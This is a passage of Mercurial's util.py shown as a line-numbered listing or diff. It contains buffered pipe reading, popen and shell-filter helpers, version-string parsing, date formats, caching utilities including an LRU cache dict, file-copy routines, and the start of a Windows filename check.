328 332 (allowing efficient readline) while offering a way to know if the buffer is
329 333 empty from the output (allowing collaboration of the buffer with polling).
330 334
331 335 This class lives in the 'util' module because it makes use of the 'os'
332 336 module from the python stdlib.
333 337 """
334 338
335 339 def __init__(self, input):
336 340 self._input = input
337 341 self._buffer = []
338 342 self._eof = False
339 343 self._lenbuf = 0
340 344
341 345 @property
342 346 def hasbuffer(self):
343 347 """True is any data is currently buffered
344 348
345 349 This will be used externally a pre-step for polling IO. If there is
346 350 already data then no polling should be set in place."""
347 351 return bool(self._buffer)
348 352
349 353 @property
350 354 def closed(self):
351 355 return self._input.closed
352 356
353 357 def fileno(self):
354 358 return self._input.fileno()
355 359
356 360 def close(self):
357 361 return self._input.close()
358 362
359 363 def read(self, size):
360 364 while (not self._eof) and (self._lenbuf < size):
361 365 self._fillbuffer()
362 366 return self._frombuffer(size)
363 367
364 368 def readline(self, *args, **kwargs):
365 369 if 1 < len(self._buffer):
366 370 # this should not happen because both read and readline end with a
367 371 # _frombuffer call that collapse it.
368 372 self._buffer = [''.join(self._buffer)]
369 373 self._lenbuf = len(self._buffer[0])
370 374 lfi = -1
371 375 if self._buffer:
372 376 lfi = self._buffer[-1].find('\n')
373 377 while (not self._eof) and lfi < 0:
374 378 self._fillbuffer()
375 379 if self._buffer:
376 380 lfi = self._buffer[-1].find('\n')
377 381 size = lfi + 1
378 382 if lfi < 0: # end of file
379 383 size = self._lenbuf
380 384 elif 1 < len(self._buffer):
381 385 # we need to take previous chunks into account
382 386 size += self._lenbuf - len(self._buffer[-1])
383 387 return self._frombuffer(size)
384 388
385 389 def _frombuffer(self, size):
386 390 """return at most 'size' data from the buffer
387 391
388 392 The data are removed from the buffer."""
389 393 if size == 0 or not self._buffer:
390 394 return ''
391 395 buf = self._buffer[0]
392 396 if 1 < len(self._buffer):
393 397 buf = ''.join(self._buffer)
394 398
395 399 data = buf[:size]
396 400 buf = buf[len(data):]
397 401 if buf:
398 402 self._buffer = [buf]
399 403 self._lenbuf = len(buf)
400 404 else:
401 405 self._buffer = []
402 406 self._lenbuf = 0
403 407 return data
404 408
405 409 def _fillbuffer(self):
406 410 """read data to the buffer"""
407 411 data = os.read(self._input.fileno(), _chunksize)
408 412 if not data:
409 413 self._eof = True
410 414 else:
411 415 self._lenbuf += len(data)
412 416 self._buffer.append(data)
413 417
414 418 def mmapread(fp):
415 419 try:
416 420 fd = getattr(fp, 'fileno', lambda: fp)()
417 421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
418 422 except ValueError:
419 423 # Empty files cannot be mmapped, but mmapread should still work. Check
420 424 # if the file is empty, and if so, return an empty buffer.
421 425 if os.fstat(fd).st_size == 0:
422 426 return ''
423 427 raise
424 428
425 429 def popen2(cmd, env=None, newlines=False):
426 430 # Setting bufsize to -1 lets the system decide the buffer size.
427 431 # The default for bufsize is 0, meaning unbuffered. This leads to
428 432 # poor performance on Mac OS X: http://bugs.python.org/issue4194
429 433 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
430 434 close_fds=closefds,
431 435 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
432 436 universal_newlines=newlines,
433 437 env=env)
434 438 return p.stdin, p.stdout
435 439
436 440 def popen3(cmd, env=None, newlines=False):
437 441 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
438 442 return stdin, stdout, stderr
439 443
440 444 def popen4(cmd, env=None, newlines=False, bufsize=-1):
441 445 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
442 446 close_fds=closefds,
443 447 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
444 448 stderr=subprocess.PIPE,
445 449 universal_newlines=newlines,
446 450 env=env)
447 451 return p.stdin, p.stdout, p.stderr, p
448 452
449 453 def version():
450 454 """Return version information if available."""
451 455 try:
452 456 from . import __version__
453 457 return __version__.version
454 458 except ImportError:
455 459 return 'unknown'
456 460
457 461 def versiontuple(v=None, n=4):
458 462 """Parses a Mercurial version string into an N-tuple.
459 463
460 464 The version string to be parsed is specified with the ``v`` argument.
461 465 If it isn't defined, the current Mercurial version string will be parsed.
462 466
463 467 ``n`` can be 2, 3, or 4. Here is how some version strings map to
464 468 returned values:
465 469
466 470 >>> v = b'3.6.1+190-df9b73d2d444'
467 471 >>> versiontuple(v, 2)
468 472 (3, 6)
469 473 >>> versiontuple(v, 3)
470 474 (3, 6, 1)
471 475 >>> versiontuple(v, 4)
472 476 (3, 6, 1, '190-df9b73d2d444')
473 477
474 478 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
475 479 (3, 6, 1, '190-df9b73d2d444+20151118')
476 480
477 481 >>> v = b'3.6'
478 482 >>> versiontuple(v, 2)
479 483 (3, 6)
480 484 >>> versiontuple(v, 3)
481 485 (3, 6, None)
482 486 >>> versiontuple(v, 4)
483 487 (3, 6, None, None)
484 488
485 489 >>> v = b'3.9-rc'
486 490 >>> versiontuple(v, 2)
487 491 (3, 9)
488 492 >>> versiontuple(v, 3)
489 493 (3, 9, None)
490 494 >>> versiontuple(v, 4)
491 495 (3, 9, None, 'rc')
492 496
493 497 >>> v = b'3.9-rc+2-02a8fea4289b'
494 498 >>> versiontuple(v, 2)
495 499 (3, 9)
496 500 >>> versiontuple(v, 3)
497 501 (3, 9, None)
498 502 >>> versiontuple(v, 4)
499 503 (3, 9, None, 'rc+2-02a8fea4289b')
500 504 """
501 505 if not v:
502 506 v = version()
503 507 parts = remod.split('[\+-]', v, 1)
504 508 if len(parts) == 1:
505 509 vparts, extra = parts[0], None
506 510 else:
507 511 vparts, extra = parts
508 512
509 513 vints = []
510 514 for i in vparts.split('.'):
511 515 try:
512 516 vints.append(int(i))
513 517 except ValueError:
514 518 break
515 519 # (3, 6) -> (3, 6, None)
516 520 while len(vints) < 3:
517 521 vints.append(None)
518 522
519 523 if n == 2:
520 524 return (vints[0], vints[1])
521 525 if n == 3:
522 526 return (vints[0], vints[1], vints[2])
523 527 if n == 4:
524 528 return (vints[0], vints[1], vints[2], extra)
525 529
526 530 # used by parsedate
527 531 defaultdateformats = (
528 532 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
529 533 '%Y-%m-%dT%H:%M', # without seconds
530 534 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
531 535 '%Y-%m-%dT%H%M', # without seconds
532 536 '%Y-%m-%d %H:%M:%S', # our common legal variant
533 537 '%Y-%m-%d %H:%M', # without seconds
534 538 '%Y-%m-%d %H%M%S', # without :
535 539 '%Y-%m-%d %H%M', # without seconds
536 540 '%Y-%m-%d %I:%M:%S%p',
537 541 '%Y-%m-%d %H:%M',
538 542 '%Y-%m-%d %I:%M%p',
539 543 '%Y-%m-%d',
540 544 '%m-%d',
541 545 '%m/%d',
542 546 '%m/%d/%y',
543 547 '%m/%d/%Y',
544 548 '%a %b %d %H:%M:%S %Y',
545 549 '%a %b %d %I:%M:%S%p %Y',
546 550 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
547 551 '%b %d %H:%M:%S %Y',
548 552 '%b %d %I:%M:%S%p %Y',
549 553 '%b %d %H:%M:%S',
550 554 '%b %d %I:%M:%S%p',
551 555 '%b %d %H:%M',
552 556 '%b %d %I:%M%p',
553 557 '%b %d %Y',
554 558 '%b %d',
555 559 '%H:%M:%S',
556 560 '%I:%M:%S%p',
557 561 '%H:%M',
558 562 '%I:%M%p',
559 563 )
560 564
561 565 extendeddateformats = defaultdateformats + (
562 566 "%Y",
563 567 "%Y-%m",
564 568 "%b",
565 569 "%b %Y",
566 570 )
567 571
568 572 def cachefunc(func):
569 573 '''cache the result of function calls'''
570 574 # XXX doesn't handle keywords args
571 575 if func.__code__.co_argcount == 0:
572 576 cache = []
573 577 def f():
574 578 if len(cache) == 0:
575 579 cache.append(func())
576 580 return cache[0]
577 581 return f
578 582 cache = {}
579 583 if func.__code__.co_argcount == 1:
580 584 # we gain a small amount of time because
581 585 # we don't need to pack/unpack the list
582 586 def f(arg):
583 587 if arg not in cache:
584 588 cache[arg] = func(arg)
585 589 return cache[arg]
586 590 else:
587 591 def f(*args):
588 592 if args not in cache:
589 593 cache[args] = func(*args)
590 594 return cache[args]
591 595
592 596 return f
593 597
594 598 class cow(object):
595 599 """helper class to make copy-on-write easier
596 600
597 601 Call preparewrite before doing any writes.
598 602 """
599 603
600 604 def preparewrite(self):
601 605 """call this before writes, return self or a copied new object"""
602 606 if getattr(self, '_copied', 0):
603 607 self._copied -= 1
604 608 return self.__class__(self)
605 609 return self
606 610
607 611 def copy(self):
608 612 """always do a cheap copy"""
609 613 self._copied = getattr(self, '_copied', 0) + 1
610 614 return self
611 615
612 616 class sortdict(collections.OrderedDict):
613 617 '''a simple sorted dictionary
614 618
615 619 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
616 620 >>> d2 = d1.copy()
617 621 >>> d2
618 622 sortdict([('a', 0), ('b', 1)])
619 623 >>> d2.update([(b'a', 2)])
620 624 >>> list(d2.keys()) # should still be in last-set order
621 625 ['b', 'a']
622 626 '''
623 627
624 628 def __setitem__(self, key, value):
625 629 if key in self:
626 630 del self[key]
627 631 super(sortdict, self).__setitem__(key, value)
628 632
629 633 if pycompat.ispypy:
630 634 # __setitem__() isn't called as of PyPy 5.8.0
631 635 def update(self, src):
632 636 if isinstance(src, dict):
633 637 src = src.iteritems()
634 638 for k, v in src:
635 639 self[k] = v
636 640
637 641 class cowdict(cow, dict):
638 642 """copy-on-write dict
639 643
640 644 Be sure to call d = d.preparewrite() before writing to d.
641 645
642 646 >>> a = cowdict()
643 647 >>> a is a.preparewrite()
644 648 True
645 649 >>> b = a.copy()
646 650 >>> b is a
647 651 True
648 652 >>> c = b.copy()
649 653 >>> c is a
650 654 True
651 655 >>> a = a.preparewrite()
652 656 >>> b is a
653 657 False
654 658 >>> a is a.preparewrite()
655 659 True
656 660 >>> c = c.preparewrite()
657 661 >>> b is c
658 662 False
659 663 >>> b is b.preparewrite()
660 664 True
661 665 """
662 666
663 667 class cowsortdict(cow, sortdict):
664 668 """copy-on-write sortdict
665 669
666 670 Be sure to call d = d.preparewrite() before writing to d.
667 671 """
668 672
669 673 class transactional(object):
670 674 """Base class for making a transactional type into a context manager."""
671 675 __metaclass__ = abc.ABCMeta
672 676
673 677 @abc.abstractmethod
674 678 def close(self):
675 679 """Successfully closes the transaction."""
676 680
677 681 @abc.abstractmethod
678 682 def release(self):
679 683 """Marks the end of the transaction.
680 684
681 685 If the transaction has not been closed, it will be aborted.
682 686 """
683 687
684 688 def __enter__(self):
685 689 return self
686 690
687 691 def __exit__(self, exc_type, exc_val, exc_tb):
688 692 try:
689 693 if exc_type is None:
690 694 self.close()
691 695 finally:
692 696 self.release()
693 697
694 698 @contextlib.contextmanager
695 699 def acceptintervention(tr=None):
696 700 """A context manager that closes the transaction on InterventionRequired
697 701
698 702 If no transaction was provided, this simply runs the body and returns
699 703 """
700 704 if not tr:
701 705 yield
702 706 return
703 707 try:
704 708 yield
705 709 tr.close()
706 710 except error.InterventionRequired:
707 711 tr.close()
708 712 raise
709 713 finally:
710 714 tr.release()
711 715
712 716 @contextlib.contextmanager
713 717 def nullcontextmanager():
714 718 yield
715 719
716 720 class _lrucachenode(object):
717 721 """A node in a doubly linked list.
718 722
719 723 Holds a reference to nodes on either side as well as a key-value
720 724 pair for the dictionary entry.
721 725 """
722 726 __slots__ = (u'next', u'prev', u'key', u'value')
723 727
724 728 def __init__(self):
725 729 self.next = None
726 730 self.prev = None
727 731
728 732 self.key = _notset
729 733 self.value = None
730 734
731 735 def markempty(self):
732 736 """Mark the node as emptied."""
733 737 self.key = _notset
734 738
735 739 class lrucachedict(object):
736 740 """Dict that caches most recent accesses and sets.
737 741
738 742 The dict consists of an actual backing dict - indexed by original
739 743 key - and a doubly linked circular list defining the order of entries in
740 744 the cache.
741 745
742 746 The head node is the newest entry in the cache. If the cache is full,
743 747 we recycle head.prev and make it the new head. Cache accesses result in
744 748 the node being moved to before the existing head and being marked as the
745 749 new head node.
746 750 """
747 751 def __init__(self, max):
748 752 self._cache = {}
749 753
750 754 self._head = head = _lrucachenode()
751 755 head.prev = head
752 756 head.next = head
753 757 self._size = 1
754 758 self._capacity = max
755 759
756 760 def __len__(self):
757 761 return len(self._cache)
758 762
759 763 def __contains__(self, k):
760 764 return k in self._cache
761 765
762 766 def __iter__(self):
763 767 # We don't have to iterate in cache order, but why not.
764 768 n = self._head
765 769 for i in range(len(self._cache)):
766 770 yield n.key
767 771 n = n.next
768 772
769 773 def __getitem__(self, k):
770 774 node = self._cache[k]
771 775 self._movetohead(node)
772 776 return node.value
773 777
774 778 def __setitem__(self, k, v):
775 779 node = self._cache.get(k)
776 780 # Replace existing value and mark as newest.
777 781 if node is not None:
778 782 node.value = v
779 783 self._movetohead(node)
780 784 return
781 785
782 786 if self._size < self._capacity:
783 787 node = self._addcapacity()
784 788 else:
785 789 # Grab the last/oldest item.
786 790 node = self._head.prev
787 791
788 792 # At capacity. Kill the old entry.
789 793 if node.key is not _notset:
790 794 del self._cache[node.key]
791 795
792 796 node.key = k
793 797 node.value = v
794 798 self._cache[k] = node
795 799 # And mark it as newest entry. No need to adjust order since it
796 800 # is already self._head.prev.
797 801 self._head = node
798 802
799 803 def __delitem__(self, k):
800 804 node = self._cache.pop(k)
801 805 node.markempty()
802 806
803 807 # Temporarily mark as newest item before re-adjusting head to make
804 808 # this node the oldest item.
805 809 self._movetohead(node)
806 810 self._head = node.next
807 811
808 812 # Additional dict methods.
809 813
810 814 def get(self, k, default=None):
811 815 try:
812 816 return self._cache[k].value
813 817 except KeyError:
814 818 return default
815 819
816 820 def clear(self):
817 821 n = self._head
818 822 while n.key is not _notset:
819 823 n.markempty()
820 824 n = n.next
821 825
822 826 self._cache.clear()
823 827
824 828 def copy(self):
825 829 result = lrucachedict(self._capacity)
826 830 n = self._head.prev
827 831 # Iterate in oldest-to-newest order, so the copy has the right ordering
828 832 for i in range(len(self._cache)):
829 833 result[n.key] = n.value
830 834 n = n.prev
831 835 return result
832 836
833 837 def _movetohead(self, node):
834 838 """Mark a node as the newest, making it the new head.
835 839
836 840 When a node is accessed, it becomes the freshest entry in the LRU
837 841 list, which is denoted by self._head.
838 842
839 843 Visually, let's make ``N`` the new head node (* denotes head):
840 844
841 845 previous/oldest <-> head <-> next/next newest
842 846
843 847 ----<->--- A* ---<->-----
844 848 | |
845 849 E <-> D <-> N <-> C <-> B
846 850
847 851 To:
848 852
849 853 ----<->--- N* ---<->-----
850 854 | |
851 855 E <-> D <-> C <-> B <-> A
852 856
853 857 This requires the following moves:
854 858
855 859 C.next = D (node.prev.next = node.next)
856 860 D.prev = C (node.next.prev = node.prev)
857 861 E.next = N (head.prev.next = node)
858 862 N.prev = E (node.prev = head.prev)
859 863 N.next = A (node.next = head)
860 864 A.prev = N (head.prev = node)
861 865 """
862 866 head = self._head
863 867 # C.next = D
864 868 node.prev.next = node.next
865 869 # D.prev = C
866 870 node.next.prev = node.prev
867 871 # N.prev = E
868 872 node.prev = head.prev
869 873 # N.next = A
870 874 # It is tempting to do just "head" here, however if node is
871 875 # adjacent to head, this will do bad things.
872 876 node.next = head.prev.next
873 877 # E.next = N
874 878 node.next.prev = node
875 879 # A.prev = N
876 880 node.prev.next = node
877 881
878 882 self._head = node
879 883
880 884 def _addcapacity(self):
881 885 """Add a node to the circular linked list.
882 886
883 887 The new node is inserted before the head node.
884 888 """
885 889 head = self._head
886 890 node = _lrucachenode()
887 891 head.prev.next = node
888 892 node.prev = head.prev
889 893 node.next = head
890 894 head.prev = node
891 895 self._size += 1
892 896 return node
893 897
894 898 def lrucachefunc(func):
895 899 '''cache most recent results of function calls'''
896 900 cache = {}
897 901 order = collections.deque()
898 902 if func.__code__.co_argcount == 1:
899 903 def f(arg):
900 904 if arg not in cache:
901 905 if len(cache) > 20:
902 906 del cache[order.popleft()]
903 907 cache[arg] = func(arg)
904 908 else:
905 909 order.remove(arg)
906 910 order.append(arg)
907 911 return cache[arg]
908 912 else:
909 913 def f(*args):
910 914 if args not in cache:
911 915 if len(cache) > 20:
912 916 del cache[order.popleft()]
913 917 cache[args] = func(*args)
914 918 else:
915 919 order.remove(args)
916 920 order.append(args)
917 921 return cache[args]
918 922
919 923 return f
920 924
921 925 class propertycache(object):
922 926 def __init__(self, func):
923 927 self.func = func
924 928 self.name = func.__name__
925 929 def __get__(self, obj, type=None):
926 930 result = self.func(obj)
927 931 self.cachevalue(obj, result)
928 932 return result
929 933
930 934 def cachevalue(self, obj, value):
931 935 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
932 936 obj.__dict__[self.name] = value
933 937
934 938 def clearcachedproperty(obj, prop):
935 939 '''clear a cached property value, if one has been set'''
936 940 if prop in obj.__dict__:
937 941 del obj.__dict__[prop]
938 942
939 943 def pipefilter(s, cmd):
940 944 '''filter string S through command CMD, returning its output'''
941 945 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
942 946 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
943 947 pout, perr = p.communicate(s)
944 948 return pout
945 949
946 950 def tempfilter(s, cmd):
947 951 '''filter string S through a pair of temporary files with CMD.
948 952 CMD is used as a template to create the real command to be run,
949 953 with the strings INFILE and OUTFILE replaced by the real names of
950 954 the temporary files generated.'''
951 955 inname, outname = None, None
952 956 try:
953 957 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
954 958 fp = os.fdopen(infd, pycompat.sysstr('wb'))
955 959 fp.write(s)
956 960 fp.close()
957 961 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
958 962 os.close(outfd)
959 963 cmd = cmd.replace('INFILE', inname)
960 964 cmd = cmd.replace('OUTFILE', outname)
961 965 code = os.system(cmd)
962 966 if pycompat.sysplatform == 'OpenVMS' and code & 1:
963 967 code = 0
964 968 if code:
965 969 raise Abort(_("command '%s' failed: %s") %
966 970 (cmd, explainexit(code)))
967 971 return readfile(outname)
968 972 finally:
969 973 try:
970 974 if inname:
971 975 os.unlink(inname)
972 976 except OSError:
973 977 pass
974 978 try:
975 979 if outname:
976 980 os.unlink(outname)
977 981 except OSError:
978 982 pass
979 983
980 984 filtertable = {
981 985 'tempfile:': tempfilter,
982 986 'pipe:': pipefilter,
983 987 }
984 988
985 989 def filter(s, cmd):
986 990 "filter a string through a command that transforms its input to its output"
987 991 for name, fn in filtertable.iteritems():
988 992 if cmd.startswith(name):
989 993 return fn(s, cmd[len(name):].lstrip())
990 994 return pipefilter(s, cmd)
991 995
992 996 def binary(s):
993 997 """return true if a string is binary data"""
994 998 return bool(s and '\0' in s)
995 999
996 1000 def increasingchunks(source, min=1024, max=65536):
997 1001 '''return no less than min bytes per chunk while data remains,
998 1002 doubling min after each chunk until it reaches max'''
999 1003 def log2(x):
1000 1004 if not x:
1001 1005 return 0
1002 1006 i = 0
1003 1007 while x:
1004 1008 x >>= 1
1005 1009 i += 1
1006 1010 return i - 1
1007 1011
1008 1012 buf = []
1009 1013 blen = 0
1010 1014 for chunk in source:
1011 1015 buf.append(chunk)
1012 1016 blen += len(chunk)
1013 1017 if blen >= min:
1014 1018 if min < max:
1015 1019 min = min << 1
1016 1020 nmin = 1 << log2(blen)
1017 1021 if nmin > min:
1018 1022 min = nmin
1019 1023 if min > max:
1020 1024 min = max
1021 1025 yield ''.join(buf)
1022 1026 blen = 0
1023 1027 buf = []
1024 1028 if buf:
1025 1029 yield ''.join(buf)
1026 1030
1027 1031 Abort = error.Abort
1028 1032
1029 1033 def always(fn):
1030 1034 return True
1031 1035
1032 1036 def never(fn):
1033 1037 return False
1034 1038
1035 1039 def nogc(func):
1036 1040 """disable garbage collector
1037 1041
1038 1042 Python's garbage collector triggers a GC each time a certain number of
1039 1043 container objects (the number being defined by gc.get_threshold()) are
1040 1044 allocated even when marked not to be tracked by the collector. Tracking has
1041 1045 no effect on when GCs are triggered, only on what objects the GC looks
1042 1046 into. As a workaround, disable GC while building complex (huge)
1043 1047 containers.
1044 1048
1045 1049 This garbage collector issue have been fixed in 2.7. But it still affect
1046 1050 CPython's performance.
1047 1051 """
1048 1052 def wrapper(*args, **kwargs):
1049 1053 gcenabled = gc.isenabled()
1050 1054 gc.disable()
1051 1055 try:
1052 1056 return func(*args, **kwargs)
1053 1057 finally:
1054 1058 if gcenabled:
1055 1059 gc.enable()
1056 1060 return wrapper
1057 1061
1058 1062 if pycompat.ispypy:
1059 1063 # PyPy runs slower with gc disabled
1060 1064 nogc = lambda x: x
1061 1065
1062 1066 def pathto(root, n1, n2):
1063 1067 '''return the relative path from one place to another.
1064 1068 root should use os.sep to separate directories
1065 1069 n1 should use os.sep to separate directories
1066 1070 n2 should use "/" to separate directories
1067 1071 returns an os.sep-separated path.
1068 1072
1069 1073 If n1 is a relative path, it's assumed it's
1070 1074 relative to root.
1071 1075 n2 should always be relative to root.
1072 1076 '''
1073 1077 if not n1:
1074 1078 return localpath(n2)
1075 1079 if os.path.isabs(n1):
1076 1080 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1077 1081 return os.path.join(root, localpath(n2))
1078 1082 n2 = '/'.join((pconvert(root), n2))
1079 1083 a, b = splitpath(n1), n2.split('/')
1080 1084 a.reverse()
1081 1085 b.reverse()
1082 1086 while a and b and a[-1] == b[-1]:
1083 1087 a.pop()
1084 1088 b.pop()
1085 1089 b.reverse()
1086 1090 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1087 1091
1088 1092 def mainfrozen():
1089 1093 """return True if we are a frozen executable.
1090 1094
1091 1095 The code supports py2exe (most common, Windows only) and tools/freeze
1092 1096 (portable, not much used).
1093 1097 """
1094 1098 return (safehasattr(sys, "frozen") or # new py2exe
1095 1099 safehasattr(sys, "importers") or # old py2exe
1096 1100 imp.is_frozen(u"__main__")) # tools/freeze
1097 1101
1098 1102 # the location of data files matching the source code
1099 1103 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1100 1104 # executable version (py2exe) doesn't support __file__
1101 1105 datapath = os.path.dirname(pycompat.sysexecutable)
1102 1106 else:
1103 1107 datapath = os.path.dirname(pycompat.fsencode(__file__))
1104 1108
1105 1109 i18n.setdatapath(datapath)
1106 1110
1107 1111 _hgexecutable = None
1108 1112
1109 1113 def hgexecutable():
1110 1114 """return location of the 'hg' executable.
1111 1115
1112 1116 Defaults to $HG or 'hg' in the search path.
1113 1117 """
1114 1118 if _hgexecutable is None:
1115 1119 hg = encoding.environ.get('HG')
1116 1120 mainmod = sys.modules[pycompat.sysstr('__main__')]
1117 1121 if hg:
1118 1122 _sethgexecutable(hg)
1119 1123 elif mainfrozen():
1120 1124 if getattr(sys, 'frozen', None) == 'macosx_app':
1121 1125 # Env variable set by py2app
1122 1126 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1123 1127 else:
1124 1128 _sethgexecutable(pycompat.sysexecutable)
1125 1129 elif (os.path.basename(
1126 1130 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1127 1131 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1128 1132 else:
1129 1133 exe = findexe('hg') or os.path.basename(sys.argv[0])
1130 1134 _sethgexecutable(exe)
1131 1135 return _hgexecutable
1132 1136
1133 1137 def _sethgexecutable(path):
1134 1138 """set location of the 'hg' executable"""
1135 1139 global _hgexecutable
1136 1140 _hgexecutable = path
1137 1141
1138 1142 def _isstdout(f):
1139 1143 fileno = getattr(f, 'fileno', None)
1140 1144 return fileno and fileno() == sys.__stdout__.fileno()
1141 1145
1142 1146 def shellenviron(environ=None):
1143 1147 """return environ with optional override, useful for shelling out"""
1144 1148 def py2shell(val):
1145 1149 'convert python object into string that is useful to shell'
1146 1150 if val is None or val is False:
1147 1151 return '0'
1148 1152 if val is True:
1149 1153 return '1'
1150 1154 return str(val)
1151 1155 env = dict(encoding.environ)
1152 1156 if environ:
1153 1157 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1154 1158 env['HG'] = hgexecutable()
1155 1159 return env
1156 1160
1157 1161 def system(cmd, environ=None, cwd=None, out=None):
1158 1162 '''enhanced shell command execution.
1159 1163 run with environment maybe modified, maybe in different dir.
1160 1164
1161 1165 if out is specified, it is assumed to be a file-like object that has a
1162 1166 write() method. stdout and stderr will be redirected to out.'''
1163 1167 try:
1164 1168 stdout.flush()
1165 1169 except Exception:
1166 1170 pass
1167 1171 cmd = quotecommand(cmd)
1168 1172 env = shellenviron(environ)
1169 1173 if out is None or _isstdout(out):
1170 1174 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1171 1175 env=env, cwd=cwd)
1172 1176 else:
1173 1177 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1174 1178 env=env, cwd=cwd, stdout=subprocess.PIPE,
1175 1179 stderr=subprocess.STDOUT)
1176 1180 for line in iter(proc.stdout.readline, ''):
1177 1181 out.write(line)
1178 1182 proc.wait()
1179 1183 rc = proc.returncode
1180 1184 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1181 1185 rc = 0
1182 1186 return rc
1183 1187
1184 1188 def checksignature(func):
1185 1189 '''wrap a function with code to check for calling errors'''
1186 1190 def check(*args, **kwargs):
1187 1191 try:
1188 1192 return func(*args, **kwargs)
1189 1193 except TypeError:
1190 1194 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1191 1195 raise error.SignatureError
1192 1196 raise
1193 1197
1194 1198 return check
1195 1199
1196 1200 # a whilelist of known filesystems where hardlink works reliably
1197 1201 _hardlinkfswhitelist = {
1198 1202 'btrfs',
1199 1203 'ext2',
1200 1204 'ext3',
1201 1205 'ext4',
1202 1206 'hfs',
1203 1207 'jfs',
1204 1208 'reiserfs',
1205 1209 'tmpfs',
1206 1210 'ufs',
1207 1211 'xfs',
1208 1212 'zfs',
1209 1213 }
1210 1214
1211 1215 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1212 1216 '''copy a file, preserving mode and optionally other stat info like
1213 1217 atime/mtime
1214 1218
1215 1219 checkambig argument is used with filestat, and is useful only if
1216 1220 destination file is guarded by any lock (e.g. repo.lock or
1217 1221 repo.wlock).
1218 1222
1219 1223 copystat and checkambig should be exclusive.
1220 1224 '''
1221 1225 assert not (copystat and checkambig)
1222 1226 oldstat = None
1223 1227 if os.path.lexists(dest):
1224 1228 if checkambig:
1225 1229 oldstat = checkambig and filestat.frompath(dest)
1226 1230 unlink(dest)
1227 1231 if hardlink:
1228 1232 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1229 1233 # unless we are confident that dest is on a whitelisted filesystem.
1230 1234 try:
1231 1235 fstype = getfstype(os.path.dirname(dest))
1232 1236 except OSError:
1233 1237 fstype = None
1234 1238 if fstype not in _hardlinkfswhitelist:
1235 1239 hardlink = False
1236 1240 if hardlink:
1237 1241 try:
1238 1242 oslink(src, dest)
1239 1243 return
1240 1244 except (IOError, OSError):
1241 1245 pass # fall back to normal copy
1242 1246 if os.path.islink(src):
1243 1247 os.symlink(os.readlink(src), dest)
1244 1248 # copytime is ignored for symlinks, but in general copytime isn't needed
1245 1249 # for them anyway
1246 1250 else:
1247 1251 try:
1248 1252 shutil.copyfile(src, dest)
1249 1253 if copystat:
1250 1254 # copystat also copies mode
1251 1255 shutil.copystat(src, dest)
1252 1256 else:
1253 1257 shutil.copymode(src, dest)
1254 1258 if oldstat and oldstat.stat:
1255 1259 newstat = filestat.frompath(dest)
1256 1260 if newstat.isambig(oldstat):
1257 1261 # stat of copied file is ambiguous to original one
1258 1262 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1259 1263 os.utime(dest, (advanced, advanced))
1260 1264 except shutil.Error as inst:
1261 1265 raise Abort(str(inst))
1262 1266
1263 1267 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1264 1268 """Copy a directory tree using hardlinks if possible."""
1265 1269 num = 0
1266 1270
1267 1271 gettopic = lambda: hardlink and _('linking') or _('copying')
1268 1272
1269 1273 if os.path.isdir(src):
1270 1274 if hardlink is None:
1271 1275 hardlink = (os.stat(src).st_dev ==
1272 1276 os.stat(os.path.dirname(dst)).st_dev)
1273 1277 topic = gettopic()
1274 1278 os.mkdir(dst)
1275 1279 for name, kind in listdir(src):
1276 1280 srcname = os.path.join(src, name)
1277 1281 dstname = os.path.join(dst, name)
1278 1282 def nprog(t, pos):
1279 1283 if pos is not None:
1280 1284 return progress(t, pos + num)
1281 1285 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1282 1286 num += n
1283 1287 else:
1284 1288 if hardlink is None:
1285 1289 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1286 1290 os.stat(os.path.dirname(dst)).st_dev)
1287 1291 topic = gettopic()
1288 1292
1289 1293 if hardlink:
1290 1294 try:
1291 1295 oslink(src, dst)
1292 1296 except (IOError, OSError):
1293 1297 hardlink = False
1294 1298 shutil.copy(src, dst)
1295 1299 else:
1296 1300 shutil.copy(src, dst)
1297 1301 num += 1
1298 1302 progress(topic, num)
1299 1303 progress(topic, None)
1300 1304
1301 1305 return hardlink, num
1302 1306
1303 1307 _winreservednames = {
1304 1308 'con', 'prn', 'aux', 'nul',
1305 1309 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1306 1310 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1307 1311 }
1308 1312 _winreservedchars = ':*?"<>|'
1309 1313 def checkwinfilename(path):
1310 1314 r'''Check that the base-relative path is a valid filename on Windows.
1311 1315 Returns None if the path is ok, or a UI string describing the problem.
1312 1316
1313 1317 >>> checkwinfilename(b"just/a/normal/path")
1314 1318 >>> checkwinfilename(b"foo/bar/con.xml")
1315 1319 "filename contains 'con', which is reserved on Windows"
